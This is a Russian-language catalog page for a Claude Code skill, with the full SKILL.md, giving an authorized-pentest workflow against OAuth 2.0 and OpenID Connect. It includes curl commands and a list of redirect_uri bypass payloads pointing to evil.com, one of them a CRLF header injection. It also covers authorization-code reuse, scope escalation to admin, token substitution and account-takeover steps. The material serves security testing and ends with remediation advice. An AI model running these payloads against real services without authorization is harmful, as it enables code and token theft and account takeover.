К основному содержанию
скилл CX Codex

exploiting-oauth-misconfiguration — скилл для Claude Code

Скилл exploiting-oauth-misconfiguration для Claude Code выявляет и помогает эксплуатировать уязвимости конфигурации OAuth 2.0 и OpenID Connect. Проверяет OAuth-потоки в приложениях с социальной аутентификацией и SSO.

Apache-2.0 256 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-oauth-misconfiguration -a claude-code
Открыть на GitHub

Что делает exploiting-oauth-misconfiguration

Скилл включает набор методик для проверки конфигурации OAuth-потоков в приложениях. Он помогает выявить типичные ошибки: открытые редиректы на чужие домены, недостаточную валидацию redirect_uri, утечки токенов через Referer-заголовки, возможность повторного использования authorization code, отсутствие или предсказуемость параметра state.

В скилле описаны пять основных этапов тестирования. Первый — картирование OAuth-потока: поиск endpoints через .well-known/openid-configuration, определение grant type (Authorization Code, Implicit, Hybrid), проверка PKCE-параметров. Второй — тестирование redirect URI через различные обходы (подмена домена, path traversal, кейс-зависимость, схема http вместо https). Третий — попытки кражи authorization code и токенов, в том числе проверка их переиспользования и утечек в Referer.

Четвёртый этап — проверка эскалации привилегий через расширение scope во время авторизации и обмена токена. Пятый — тестирование захвата аккаунта через уязвимости OAuth: отсутствие проверки email на провайдере, pre-authentication account linking. Для работы нужны Burp Suite Professional для перехвата потоков, несколько тестовых аккаунтов, curl для ручного тестирования и сервер под контролем атакующего для получения редиректов.

Какие задачи решает

  • найти открытый редирект в OAuth-потоке и перенаправить код авторизации на свой сервер
  • проверить, переиспользуется ли authorization code после первого обмена на токен
  • выявить утечку access token через Referer или логи приложения
  • попытаться повысить привилегии, добавив admin-scope в запрос авторизации
  • захватить аккаунт жертвы, связав его с OAuth-профилем

Примеры запросов агенту

  • Проверь OAuth-конфигурацию на https://target.example.com и найди эндпоинты авторизации и токена
  • Протестируй redirect_uri на открытый редирект, используя мой контролируемый домен
  • Перехвати authorization code в Burp Suite и попытайся его переиспользовать

Как установить exploiting-oauth-misconfiguration

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-oauth-misconfiguration -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-oauth-misconfiguration/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-oauth-misconfiguration/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы об exploiting-oauth-misconfiguration

Как установить exploiting-oauth-misconfiguration в Claude Code?

Выполни npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-oauth-misconfiguration -a claude-code, затем открой файл ~/.claude/skills/exploiting-oauth-misconfiguration/SKILL.md.

Что делает этот скилл?

Помогает тестировать безопасность OAuth 2.0 и OpenID Connect: проверять конфигурацию, искать открытые редиректы, перехватывать и переиспользовать коды авторизации, выявлять эскалацию привилегий и возможности захвата аккаунтов.

Какие требования для использования этого скилла?

Нужно письменное разрешение на пентест, Burp Suite Professional для перехвата потоков, браузер с DevTools, несколько тестовых аккаунтов, curl и сервер под твоим контролем для получения редиректов.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-oauth-misconfiguration
description: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations
  including redirect URI manipulation, token leakage, and authorization code theft
  during security assessments.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- oauth
- oidc
- authentication
- web-security
- authorization
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
---

# Exploiting OAuth Misconfiguration

## When to Use

- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- When evaluating API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers

## Prerequisites

- **Authorization**: Written penetration testing agreement covering OAuth/SSO flows
- **Burp Suite Professional**: For intercepting OAuth redirect flows
- **Browser with DevTools**: For monitoring redirect chains and token leakage
- **Multiple test accounts**: On both the OAuth provider and the target application
- **curl**: For manual OAuth flow testing
- **Attacker-controlled server**: For receiving redirected tokens/codes

## Workflow

### Step 1: Map the OAuth Flow and Configuration

Identify the OAuth grant type, endpoints, and configuration.

```bash
# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .

# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs

# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
#   response_type=code&
#   client_id=CLIENT_ID&
#   redirect_uri=https://app.example.com/callback&
#   scope=openid profile email&
#   state=RANDOM_STATE

# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token

# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256
```

### Step 2: Test Redirect URI Manipulation

Attempt to redirect the authorization code or token to an attacker-controlled domain.

```bash
# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:

BYPASSES=(
  "https://evil.com"
  "https://app.example.com.evil.com/callback"
  "https://[email protected]/callback"
  "https://app.example.com/callback/../../../evil.com"
  "https://evil.com/?.app.example.com"
  "https://evil.com#.app.example.com"
  "https://app.example.com/callback?next=https://evil.com"
  "https://APP.EXAMPLE.COM/callback"
  "https://app.example.com/callback%0d%0aLocation:https://evil.com"
  "https://app.example.com/CALLBACK"
  "http://app.example.com/callback"
  "https://app.example.com/callback/../../other-path"
)

for uri in "${BYPASSES[@]}"; do
  echo -n "Testing: $uri -> "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
  echo "$status"
done

# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path

# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/
```

### Step 3: Test for Authorization Code and Token Theft

Exploit leakage vectors for stealing OAuth tokens and codes.

```bash
# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token

# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="

# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"

# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possible
```

### Step 4: Test Scope Escalation and Privilege Manipulation

Attempt to gain more permissions than intended.

```bash
# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"

# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"

# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)

# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"

# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
```

### Step 5: Test for Account Takeover via OAuth

Exploit OAuth flows to take over victim accounts.

```bash
# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs

# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account

# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account

# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
  -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
```

### Step 6: Test Client Secret and Token Security

Assess the security of OAuth credentials and tokens.

```bash
# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"

# Check mobile app decompilation for hardcoded secrets

# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
  -d "token=$ACCESS_TOKEN&token_type_hint=access_token"

# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
  "https://api.target.example.com/me"

# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window

# Check PKCE implementation
# If public client without PKCE, authorization code interception is possible
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
| **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
| **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |
| **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |
| **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |
| **Scope Escalation** | Requesting or obtaining more permissions than authorized |
| **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |
| **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |
| **OWASP ZAP** | Automated OAuth flow scanning |
| **Postman** | Manual OAuth flow testing with environment variables |
| **oauth-tools.com** | Online OAuth flow debugging and testing |
| **jwt.io** | JWT token analysis for OAuth access tokens |
| **Browser DevTools** | Monitoring network requests and redirect chains |

## Common Scenarios

### Scenario 1: Redirect URI Subdomain Bypass
The OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.

### Scenario 2: Missing State Parameter CSRF
The OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.

### Scenario 3: Implicit Flow Token Theft
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.

### Scenario 4: Authorization Code Reuse
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.

## Output Format

```
## OAuth Security Assessment Report

**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures

### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |

### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |

### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side code
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
oauth-oidc-misconfiguration yaklang Скилл oauth-oidc-misconfiguration для Claude Code проверяет настройки OAuth 2.0 и OpenID Connect и выявляет уязвимости в redirect_uri, state, PKCE и привязке аккаунтов. CX Codex +1 4 100установок oauth-oidc-expert 0xfurai oauth-oidc-expert — субагент для Claude Code по OAuth 2.0 и OpenID Connect. Он помогает разбирать потоки входа, токены и защиту API. CX Codex ★ 1 029звёзд репо authentication codewithmukesh Скилл authentication для Claude Code помогает настраивать аутентификацию и авторизацию в ASP.NET Core. Он подключается при работе с входом в систему, защищёнными endpoints и правилами доступа. CX Codex +1 4 000установок oauth-oidc-implementer curiositech Скилл oauth-oidc-implementer помогает настроить авторизацию по протоколам OAuth 2.0 и OIDC, вход через соцсети и безопасную работу с JWT в серверных или клиентских приложениях. CX Codex +1 183установок competition-oauth-oidc-chain zhaoxuya520 Скилл competition-oauth-oidc-chain для Claude Code разбирает цепочки OAuth и OIDC, перенаправления, параметры обратного вызова и токены. Запускается после активации координатора песочницы CTF. CX Codex +1 109установок hunt-oauth H-mmer Скилл hunt-oauth помогает искать уязвимости в OAuth, OIDC, SAML и JWT. Используйте его при проверке аутентификации в приложении или сервере. CX Codex +1 ★ 1 298звёзд репо

Из того же набора152

Весь набор →
exploiting-http-request-smuggling Скилл exploiting-http-request-smuggling для поиска и эксплуатации HTTP request smuggling — уязвимости, при которой фронтенд и бэкенд по-разному читают границы запроса. CX Codex +1 260установок performing-api-rate-limiting-bypass Скилл performing-api-rate-limiting-bypass для Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI и OpenCode проверяет защиту API от обхода ограничений скорости запросов. CX Codex +1 259установок collecting-open-source-intelligence Скилл collecting-open-source-intelligence для Claude Code собирает и связывает публичные сведения об угрозах, доменах и инфраструктуре. Задачи — пассивная разведка и обогащение CTI-отчётов. CX Codex +1 257установок exploiting-insecure-deserialization Скилл exploiting-insecure-deserialization помогает находить и эксплуатировать уязвимости небезопасной десериализации в Java, PHP, Python и .NET при авторизованных тестах на проникновение. CX Codex +1 256установок analyzing-threat-landscape-with-misp Скилл analyzing-threat-landscape-with-misp для Claude Code анализирует данные угроз через MISP: вычисляет статистику событий, распределение типов индикаторов компрометации, кластеры групп-злоумышленников и тренды тегов. CX Codex +1 256установок implementing-api-key-security-controls Скилл implementing-api-key-security-controls генерирует префиксные API-ключи, хеширует их через SHA-256, ограничивает доступ по IP и настраивает ротацию без даунтайма. Подходит для защиты межсерверных вызовов. CX Codex +1 255установок exploiting-excessive-data-exposure-in-api Скилл exploiting-excessive-data-exposure-in-api для Claude Code проверяет API на избыточную передачу данных по OWASP API3:2023, сопоставляя ответы с полями интерфейса. CX Codex +1 253установок exploiting-race-condition-vulnerabilities Скилл exploiting-race-condition-vulnerabilities для поиска и эксплуатации race condition (TOCTOU) в веб-приложениях через Burp Suite Turbo Intruder. CX Codex +1 253установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой